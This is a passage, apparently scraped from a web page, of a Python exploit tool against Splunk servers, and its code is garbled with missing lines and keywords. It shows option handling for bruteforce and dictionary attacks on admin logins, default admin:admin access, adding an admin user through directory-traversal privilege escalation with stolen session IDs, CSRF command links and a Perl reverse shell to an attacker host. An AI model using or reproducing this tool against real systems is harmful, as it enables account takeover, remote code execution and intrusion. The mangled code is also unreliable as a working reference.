<code> </code><code>help</code><code>=</code><code>"The Splunkd Web API port (Default: 8089)"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-u"</code><code>, </code>
<code> </code><code>dest</code><code>=</code><code>"userfile"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"File containing usernames for use in dictionary attack"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-p"</code><code>, </code>
<code> </code><code>dest</code><code>=</code><code>"passfile"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"File containing passwords for use in dictionary attack"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-U"</code><code>, </code>
<code> </code><code>dest</code><code>=</code><code>"username"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"Admin username (if known)"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-P"</code><code>,</code>
<code> </code><code>dest</code><code>=</code><code>"password"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"Admin pasword (if known)"</code><code>)</code>
<code> </code><code>parser.add_option(</code><code>"-e"</code><code>,</code>
<code> </code><code>action</code><code>=</code><code>"store"</code><code>,</code><code># optional because action defaults to "store"</code>
<code> </code><code>dest</code><code>=</code><code>"userpair"</code><code>,</code>
<code> </code><code>help</code><code>=</code><code>"Attempt to add admin user via priv up directory traversal magic. Accepts username:password"</code><code>)</code>
<code> </code><code>(options, args)</code><code>=</code> <code>parser.parse_args()</code>
<code> </code><code>if</code>
<code>not</code> <code>options.targethost:</code>
<code> </code><code>parser.error(</code><code>"Target host required"</code><code>)</code>
<code> </code><code>exit()</code>
<code> </code><code>elif</code>
<code>options.targethost</code><code>and</code>
<code>options.free_lic_noauth:</code>
<code> </code><code>x</code><code>=</code> <code>SplunkTarget(options.targethost,splunkweb_port</code><code>=</code><code>options.splunkweb_port,splunkd_port</code><code>=</code><code>options.splunkd_port)</code>
<code> </code><code>x.username</code><code>=</code><code>"admin"</code>
<code> </code><code>x.password</code><code>=</code><code>"admin"</code>
<code> </code><code>x.got_admin</code><code>=</code><code>1</code>
<code> </code><code>x.splunkd</code><code>=</code> <code>0</code>
<code> </code><code>x.pop_shell()</code>
<code>options.csrf:</code>
<code>"[*] Enter command to run or enter 'revshell' for a perl reverse shell:"</code>
<code> </code><code>option</code><code>=</code> <code>raw_input</code><code>(</code><code>"cmd>"</code><code>)</code>
<code>option</code><code>=</code><code>=</code><code>"revshell"</code><code>:</code>
<code> </code><code>x.perl_revshell(rev_host,rev_port)</code>
<code>x.get_csrf_link_revshell(rev_host,rev_port)</code>
<code>x.get_csrf_link_cmd(option.strip())</code>
<code>options.username</code><code>and</code>
<code>options.password</code><code>and</code>
<code>options.userpair:</code>
<code>"[i] Attemping priv up"</code>
<code>":"</code> <code>in</code> <code>options.userpair:</code>
<code> </code><code>username,password</code><code>=</code> <code>options.userpair.split(</code><code>":"</code><code>)</code>
<code>"-e requires username password pair in format username:password"</code>
<code> </code><code>x.username</code><code>=</code>
<code>options.username</code>
<code> </code><code>x.password</code><code>=</code> <code>options.password</code>
<code> </code><code>x.splunkd</code><code>=</code> <code>1</code>
<code> </code><code>import</code>
<code> </code><code>sessionids</code><code>=</code>
<code>x.dump_session_ids()</code>
<code>session</code><code>in</code> <code>sessionids:</code>
<code>x.add_admin(username,password,session):</code>
<code>"[i] User Added"</code>
<code> </code><code>exit()</code>
<code> </code><code>time.sleep(</code><code>2</code><code>)</code>
<code>options.password:</code>
<code>"[i] Using static username and password"</code>
<code>x.user_is_admin(options.username,options.password):</code>
<code> </code><code>x.pop_shell()</code>
<code>options.userfile</code><code>and</code>
<code>options.passfile:</code>
<code>"[i] Lauching bruteforce attack"</code>
<code> </code><code>x.account_bruteforce(options.userfile,options.passfile)</code>
<code>x.got_admin</code><code>=</code><code>=</code><code>1</code><code>:</code>
<code> </code><code>else</code><code>:</code>
<code>"Please ensure you have supplied either a username and password or a user and password file to bruteforce"</code>
<code>if</code> <code>__name__</code><code>=</code><code>=</code>
<code>'__main__'</code><code>:</code>
<code> </code><code>main()</code>